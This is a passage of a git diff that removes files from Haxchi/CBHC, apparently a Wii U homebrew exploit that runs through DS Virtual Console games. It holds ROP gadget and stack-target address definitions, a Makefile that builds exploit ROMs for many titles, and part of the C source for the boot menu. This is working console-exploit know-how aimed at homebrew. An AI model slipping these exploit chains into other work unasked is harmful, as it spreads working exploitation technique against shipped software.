.rpx files, you just cant use haxchi itself to load .rpx files. - -[These games right now are supported by the installer.](installer/src/gameList.h#L14-L102) +This is the continuation of Haxchi from FIX94 (initial PoC by smea). ## Dependencies -To properly compile this project yourself you will need the latest libiosuhax from dimok789's github. +armnips and zip ## credit diff --git a/dsrom/brainage_defs.s b/brainage_defs.s similarity index 100% rename from dsrom/brainage_defs.s rename to brainage_defs.s diff --git a/build.sh b/build.sh deleted file mode 100644 index a64ad2c..0000000 --- a/build.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/sh - -cd installer -mkdir data -cd ../dsrom -echo Building DS ROMs -make clean -make - -cd ../installer -echo Building WiiU Installer -make clean -make - diff --git a/build_cbhc.sh b/build_cbhc.sh deleted file mode 100644 index c550f38..0000000 --- a/build_cbhc.sh +++ /dev/null @@ -1,13 +0,0 @@ -#!/bin/sh - -cd installer -mkdir data -cd ../dsrom -echo Building DS ROMs -make clean -make CB=1 - -cd ../installer -echo Building WiiU Installer -make clean -make CB=1 diff --git a/dsrom/coreinit.s b/coreinit.s similarity index 100% rename from dsrom/coreinit.s rename to coreinit.s diff --git a/dsrom/Makefile b/dsrom/Makefile deleted file mode 100644 index 3d93642..0000000 --- a/dsrom/Makefile +++ /dev/null @@ -1,276 +0,0 @@ -.PHONY := all code550.bin - -ifeq ($(Windows_NT), 1) - ZIP = zip/zip.exe -else - ZIP = zip -endif - -ifeq ($(CB), 1) - HAXCHI_S = haxchi_cb.s - ROP_S = haxchi_rop_cb.s - ROP_BIN = haxchi_rop_cb.bin -else - HAXCHI_S = haxchi.s - ROP_S = haxchi_rop.s - ROP_BIN = haxchi_rop.bin -endif - -all: setup animalcrossing brainage dkjclimber guardiansigns kirby kirbymassattack mariokartds masterofdisguise newsmb_eur partnersintime \ - pokemonranger sfcommand sm64ds yoshids zeldaph zeldast \ - animalcrossing.zip brainage.zip dkjclimber.zip guardiansigns.zip kirby.zip kirbymassattack.zip mariokartds.zip masterofdisguise.zip \ - newsmb_eur.zip partnersintime.zip pokemonranger.zip sfcommand.zip sm64ds.zip yoshids.zip zeldaph.zip zeldast.zip - -animalcrossing: setup_animalcrossing animalcrossing.nds - -brainage: setup_brainage brainage.nds - -dkjclimber: setup_dkjclimber dkjclimber.nds - -guardiansigns: setup_guardiansigns guardiansigns.nds - -kirby: setup_kirby kirby.nds - -kirbymassattack: setup_kirbymassattack kirbymassattack.nds - -mariokartds: setup_mariokartds mariokartds.nds - -masterofdisguise: setup_masterofdisguise masterofdisguise.nds - -newsmb_eur: setup_newsmb_eur newsmb_eur.nds - -partnersintime: setup_partnersintime partnersintime.nds - -pokemonranger: setup_pokemonranger pokemonranger.nds - -sfcommand: setup_sfcommand sfcommand.nds - -sm64ds: setup_sm64ds sm64ds.nds - -yoshids: setup_yoshids yoshids.nds - -zeldaph: setup_zeldaph zeldaph.nds - -zeldast: setup_zeldast zeldast.nds - -setup: - @cd cbhc_menu && make && cd .. - @cd hbl_loader && make && cd .. - @cd iosu_patcher && make && cd .. - @cd option_select && make && cd .. - @cd vwii_loader && make && cd .. - -setup_animalcrossing: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f animalcrossing_defs.s defines.s - -setup_brainage: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f brainage_defs.s defines.s - -setup_dkjclimber: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f dkjclimber_defs.s defines.s - -setup_guardiansigns: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f guardiansigns_defs.s defines.s - -setup_kirby: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f kirby_defs.s defines.s - -setup_kirbymassattack: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f kirbymassattack_defs.s defines.s - -setup_mariokartds: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f mariokartds_defs.s defines.s - -setup_masterofdisguise: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f masterofdisguise_defs.s defines.s - -setup_newsmb_eur: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f newsmb_eur_defs.s defines.s - -setup_pokemonranger: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f pokemonranger_defs.s defines.s - -setup_partnersintime: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f partnersintime_defs.s defines.s - -setup_sfcommand: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f sfcommand_defs.s defines.s - -setup_sm64ds: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f sm64ds_defs.s defines.s - -setup_yoshids: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f yoshids_defs.s defines.s - -setup_zeldaph: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f zeldaph_defs.s defines.s - -setup_zeldast: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f zeldast_defs.s defines.s - -animalcrossing.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds animalcrossing.nds - -brainage.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds brainage.nds - @cp brainage.nds yoshitouchandgo.nds - -dkjclimber.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds dkjclimber.nds - -guardiansigns.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds guardiansigns.nds - -kirby.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds kirby.nds - -kirbymassattack.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds kirbymassattack.nds - -mariokartds.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds mariokartds.nds - @cp mariokartds.nds newsmb.nds - -masterofdisguise.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds masterofdisguise.nds - -newsmb_eur.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds newsmb_eur.nds - -pokemonranger.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds pokemonranger.nds - -partnersintime.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds partnersintime.nds - -sfcommand.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds sfcommand.nds - -sm64ds.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds sm64ds.nds - @cp sm64ds.nds kirbycanvascurse.nds - -yoshids.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds yoshids.nds - @cp yoshids.nds wwtouched.nds - @cp yoshids.nds bigbrainacademy.nds - -zeldaph.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds zeldaph.nds - -zeldast.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds zeldast.nds - @cp zeldast.nds explorersofsky.nds - @cp zeldast.nds shadowsofalmia.nds - -animalcrossing.zip: - $(ZIP) -JXjq9 ../installer/data/animalcrossing.zip animalcrossing.nds - -brainage.zip: - $(ZIP) -JXjq9 ../installer/data/brainage.zip brainage.nds - $(ZIP) -JXjq9 ../installer/data/yoshitouchandgo.zip yoshitouchandgo.nds - -dkjclimber.zip: - $(ZIP) -JXjq9 ../installer/data/dkjclimber.zip dkjclimber.nds - -guardiansigns.zip: - $(ZIP) -JXjq9 ../installer/data/guardiansigns.zip guardiansigns.nds - -kirby.zip: - $(ZIP) -JXjq9 ../installer/data/kirby.zip kirby.nds - -kirbymassattack.zip: - $(ZIP) -JXjq9 ../installer/data/kirbymassattack.zip kirbymassattack.nds - -mariokartds.zip: - $(ZIP) -JXjq9 ../installer/data/mariokartds.zip mariokartds.nds - $(ZIP) -JXjq9 ../installer/data/newsmb.zip newsmb.nds - -masterofdisguise.zip: - $(ZIP) -JXjq9 ../installer/data/masterofdisguise.zip masterofdisguise.nds - -newsmb_eur.zip: - $(ZIP) -JXjq9 ../installer/data/newsmb_eur.zip newsmb_eur.nds - -pokemonranger.zip: - $(ZIP) -JXjq9 ../installer/data/pokemonranger.zip pokemonranger.nds - -partnersintime.zip: - $(ZIP) -JXjq9 ../installer/data/partnersintime.zip partnersintime.nds - -sfcommand.zip: - $(ZIP) -JXjq9 ../installer/data/sfcommand.zip sfcommand.nds - -sm64ds.zip: - $(ZIP) -JXjq9 ../installer/data/sm64ds.zip sm64ds.nds - $(ZIP) -JXjq9 ../installer/data/kirbycanvascurse.zip kirbycanvascurse.nds - -yoshids.zip: - $(ZIP) -JXjq9 ../installer/data/yoshids.zip yoshids.nds - $(ZIP) -JXjq9 ../installer/data/wwtouched.zip wwtouched.nds - $(ZIP) -JXjq9 ../installer/data/bigbrainacademy.zip bigbrainacademy.nds - -zeldaph.zip: - $(ZIP) -JXjq9 ../installer/data/zeldaph.zip zeldaph.nds - -zeldast.zip: - $(ZIP) -JXjq9 ../installer/data/zeldast.zip zeldast.nds - $(ZIP) -JXjq9 ../installer/data/explorersofsky.zip explorersofsky.nds - $(ZIP) -JXjq9 ../installer/data/shadowsofalmia.zip shadowsofalmia.nds - -clean: - @rm -f *.bin *.nds ../installer/data/*.zip defines.s - @cd cbhc_menu && make clean && cd .. - @cd hbl_loader && make clean && cd .. - @cd iosu_patcher && make clean && cd .. - @cd option_select && make clean && cd .. - @cd vwii_loader && make clean && cd .. - @echo "all cleaned up !" diff --git a/dsrom/animalcrossing_defs.s b/dsrom/animalcrossing_defs.s deleted file mode 100644 index af70b63..0000000 --- a/dsrom/animalcrossing_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B6A4-0xC8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16440F00) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0200369C) -BCTRL equ (RPX_OFFSET + 0x020041D8) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A9DC4) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A999C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001AF8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0217F924) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x0227F310) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018AB0) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B5204) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F624) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020862CC) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205A454) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018B38) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214FA58) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020244B4) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x022290AC) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x022294C8) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x02228F58) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006E2C) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FF0C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02228B9C) -_START_EXIT equ (RPX_OFFSET + 0x020265DC) diff --git a/dsrom/cbhc_menu/Makefile b/dsrom/cbhc_menu/Makefile deleted file mode 100644 index 16e4976..0000000 --- a/dsrom/cbhc_menu/Makefile +++ /dev/null @@ -1,32 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -FIRMWARE = 550 - -all: clean setup main - -setup: - mkdir -p $(root)/bin/ - -main: - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -o cbhc_menu.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map cbhc_menu.map - $(OBJCOPY) cbhc_menu.elf -S -O binary ../cbhc_menu.bin - -clean: - rm -rf $(build) payload - rm -rf cbhc_menu.elf cbhc_menu.map diff --git a/dsrom/cbhc_menu/coreinit.h b/dsrom/cbhc_menu/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/cbhc_menu/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/cbhc_menu/crt0.S b/dsrom/cbhc_menu/crt0.S deleted file mode 100644 index 2ff35ce..0000000 --- a/dsrom/cbhc_menu/crt0.S +++ /dev/null @@ -1,9 +0,0 @@ - - .extern __main - .globl _start - -_start: - # jump to our main - bl __main - mtlr r3 - blr diff --git a/dsrom/cbhc_menu/main.c b/dsrom/cbhc_menu/main.c deleted file mode 100644 index 2f0384f..0000000 --- a/dsrom/cbhc_menu/main.c +++ /dev/null @@ -1,626 +0,0 @@ -/* - * Copyright (C) 2016-2017 FIX94 - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ -#include -#include "types.h" -#include "coreinit.h" -#include "pad.h" -#include "../global.h" - -static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle); - -#define BUS_SPEED 248625000 -#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) -#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) -#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) - -#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) -#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) - -#define FORCE_SYSMENU (VPAD_BUTTON_ZL | VPAD_BUTTON_ZR | VPAD_BUTTON_L | VPAD_BUTTON_R) -#define FORCE_HBL (VPAD_BUTTON_A | VPAD_BUTTON_B | VPAD_BUTTON_X | VPAD_BUTTON_Y) -#define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf" -#define SD_MOCHA_PATH "/vol/external01/wiiu/apps/mocha/mocha.elf" - -static const char *verChar = "CBHC v1.6 by FIX94"; -static const unsigned long long VWII_SYSMENU_TID = 0x0000000100000002ULL; -static const unsigned long long VWII_HBC_TID = 0x000100014C554C5AULL; - -#define DEFAULT_DISABLED 0 -#define DEFAULT_SYSMENU 1 -#define DEFAULT_HBL 2 -#define DEFAULT_MOCHA 3 -#define DEFAULT_CFW_IMG 4 -#define DEFAULT_VWII_SYSMENU 5 -#define DEFAULT_VWII_HBC 6 -#define DEFAULT_MAX 7 - -static const char *defOpts[DEFAULT_MAX] = { - "DEFAULT_DISABLED", - "DEFAULT_SYSMENU", - "DEFAULT_HBL", - "DEFAULT_MOCHA", - "DEFAULT_CFW_IMG", - "DEFAULT_VWII_SYSMENU", - "DEFAULT_VWII_HBC", -}; - -static const char *bootOpts[DEFAULT_MAX] = { - "Disabled", - "System Menu", - "Homebrew Launcher", - "Mocha CFW", - "fw.img on SD Card", - "vWii System Menu", - "vWii Homebrew Channel", -}; - -#define OSScreenEnable(enable) OSScreenEnableEx(0, enable); OSScreenEnableEx(1, enable); -#define OSScreenClearBuffer(tmp) OSScreenClearBufferEx(0, tmp); OSScreenClearBufferEx(1, tmp); -#define OSScreenPutFont(x, y, buf) OSScreenPutFontEx(0, x, y, buf); OSScreenPutFontEx(1, x, y, buf); -#define OSScreenFlipBuffers() OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1); - -uint32_t __main(void) -{ - /* coreinit functions */ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - /* coreinit os functions*/ - int (*OSForceFullRelaunch)(void); - void (*OSSleepTicks)(unsigned long long ticks); - void (*OSExitThread)(int); - unsigned long long(*OSGetTitleID)(); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch); - OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID); - - /* coreinit os screen functions */ - void(*OSScreenInit)(); - void(*OSScreenEnableEx)(unsigned int bufferNum, int enable); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - - /* coreinit memory functions */ - void (*DCStoreRange)(const void *addr, uint32_t length); - unsigned int *pMEMAllocFromDefaultHeapEx; - unsigned int *pMEMFreeToDefaultHeap; - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - - void* (*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx); - void (*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap); - - /* coreinit fs functions */ - int(*FSInit)(void); - void(*FSShutdown)(void); - int(*FSAddClient)(void *pClient, int errHandling); - int(*FSDelClient)(void *pClient); - void(*FSInitCmdBlock)(void *pCmd); - int(*FSWriteFile)(void *pClient, void *pCmd, const void *buffer, int size, int count, int fd, int flag, int errHandling); - int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); - - OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit); - OSDynLoad_FindExport(coreinit_handle, 0, "FSShutdown", &FSShutdown); - OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock); - OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClient", &FSAddClient); - OSDynLoad_FindExport(coreinit_handle, 0, "FSDelClient", &FSDelClient); - OSDynLoad_FindExport(coreinit_handle, 0, "FSWriteFile", &FSWriteFile); - OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile); - - /* act functions */ - unsigned int act_handle; - OSDynLoad_Acquire("nn_act.rpl", &act_handle); - - void(*nn_act_initialize)(void); - unsigned char(*nn_act_getslotno)(void); - unsigned char(*nn_act_getdefaultaccount)(void); - void(*nn_act_finalize)(void); - - OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize); - OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno); - OSDynLoad_FindExport(act_handle, 0, "GetDefaultAccount__Q2_2nn3actFv", &nn_act_getdefaultaccount); - OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize); - - /* padscore functions */ - unsigned int padscore_handle; - OSDynLoad_Acquire("padscore.rpl", &padscore_handle); - - void(*WPADEnableURCC)(int enable); - void(*KPADSetConnectCallback)(int chan, void *ptr); - void*(*WPADSetSyncDeviceCallback)(void *ptr); - void(*KPADShutdown)(void); - //easly allows us callback without execute permission on other cores - char(*WPADGetSpeakerVolume)(void); - void(*WPADSetSpeakerVolume)(char); - - OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC); - OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback); - OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback); - OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown); - OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume); - OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume); - - /* save functions */ - unsigned int save_handle; - OSDynLoad_Acquire("nn_save.rpl", &save_handle); - - void(*SAVEInit)(void); - void(*SAVEShutdown)(void); - void(*SAVEInitSaveDir)(unsigned char user); - int(*SAVEOpenFile)(void *pClient, void *pCmd, unsigned char user, const char *path, const char *mode, int *fd, int errHandling); - int(*SAVEFlushQuota)(void *pClient, void *pCmd, unsigned char user, int errHandling); - void(*SAVERename)(void *pClient, void *pCmd, unsigned char user, const char *oldpath, const char *newpath, int errHandling); - - OSDynLoad_FindExport(save_handle, 0, "SAVEInit",&SAVEInit); - OSDynLoad_FindExport(save_handle, 0, "SAVEShutdown",&SAVEShutdown); - OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir",&SAVEInitSaveDir); - OSDynLoad_FindExport(save_handle, 0, "SAVEOpenFile", &SAVEOpenFile); - OSDynLoad_FindExport(save_handle, 0, "SAVEFlushQuota", &SAVEFlushQuota); - OSDynLoad_FindExport(save_handle, 0, "SAVERename", &SAVERename); - - /* sysapp functions */ - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - - void (*SYSLaunchMenu)(void); - void(*_SYSLaunchMenuWithCheckingAccount)(unsigned char slot); - int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr); - unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); - - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMenuWithCheckingAccount", &_SYSLaunchMenuWithCheckingAccount); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchTitleWithStdArgsInNoSplash", &_SYSLaunchTitleWithStdArgsInNoSplash); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSGetSystemApplicationTitleId", &_SYSGetSystemApplicationTitleId); - - /* vpad functions */ - unsigned int vpad_handle; - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - - int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); - - OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); - - /* set up some variables */ - int launchmode = LAUNCH_SYSMENU; - unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF); - unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0); - - nn_act_initialize(); - unsigned char slot = nn_act_getslotno(); - unsigned char defaultSlot = nn_act_getdefaultaccount(); - nn_act_finalize(); - - /* pre-menu button combinations which can be held on gamepad */ - int vpadError = -1; - VPADData vpad; - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError == 0) - { - if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU) - { - // iosuhax-less menu launch backup code - _SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0); - OSExitThread(0); - return 0; - } - else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL) - { - // original hbl loader payload - strcpy((void*)0xF5E70000,SD_HBL_PATH); - return 0x01800000; - } - else if((vpad.btns_d|vpad.btns_h) == VPAD_BUTTON_B) - { - launchmode = LAUNCH_VWII_SYSMENU; - goto do_launch_selection; - } - } - -//cbhc_menu_start: - void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4); - void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4); - - //prepare FS and SAVE API - FSInit(); - SAVEInit(); - SAVEInitSaveDir(slot); - FSAddClient(pClient, -1); - FSInitCmdBlock(pCmd); - - //check for autoboot file; if not found create one - int autoboot = -1; - int iFd = -1; - int i; - for(i = 0; i < DEFAULT_MAX; i++) - { - SAVEOpenFile(pClient, pCmd, slot, defOpts[i], "r", &iFd, -1); - if (iFd >= 0) - { - autoboot = i; - FSCloseFile(pClient, pCmd, iFd, -1); - break; - } - } - if(autoboot < 0) - { - autoboot = DEFAULT_DISABLED; - SAVEOpenFile(pClient, pCmd, slot, defOpts[DEFAULT_DISABLED], "w", &iFd, -1); - if (iFd >= 0) - FSCloseFile(pClient, pCmd, iFd, -1); - } - if(autoboot > 0) - launchmode = (autoboot - 1); - int cur_autoboot = autoboot; - - //fire up screens - OSScreenInit(); - int screen_buf0_size = OSScreenGetBufferSizeEx(0); - OSScreenSetBufferEx(0, (void*)(0xF4000000)); - OSScreenSetBufferEx(1, (void*)(0xF4000000 + screen_buf0_size)); - OSScreenEnable(1); - - char verInfStr[64]; - __os_snprintf(verInfStr,64,"%s (DS Title %08X)", verChar, dsvcid); - - //enable wiiu pro controller connection - WPADEnableURCC(1); - //hachihachi instantly disconnects wiimotes normally - KPADSetConnectCallback(0,NULL); - KPADSetConnectCallback(1,NULL); - KPADSetConnectCallback(2,NULL); - KPADSetConnectCallback(3,NULL); - char oriVol = WPADGetSpeakerVolume(); - //WPAD_SYNC_EVT=0 is button pressed - WPADSetSpeakerVolume(1); - WPADSetSyncDeviceCallback(WPADSetSpeakerVolume); - - //no autoboot, straight to menu - if(autoboot == DEFAULT_DISABLED) - goto cbhc_menu; - - //autoboot wait message - OSScreenClearBuffer(0); - OSScreenPutFont(0, 0, verInfStr); - OSScreenPutFont(0, 1, "Autobooting..."); - OSScreenFlipBuffers(); - - //garbage read - getButtonsDown(padscore_handle, vpad_handle); - //see if menu is requested - int loadMenu = 0; - int waitCnt = 40; - while(waitCnt--) - { - unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle); - 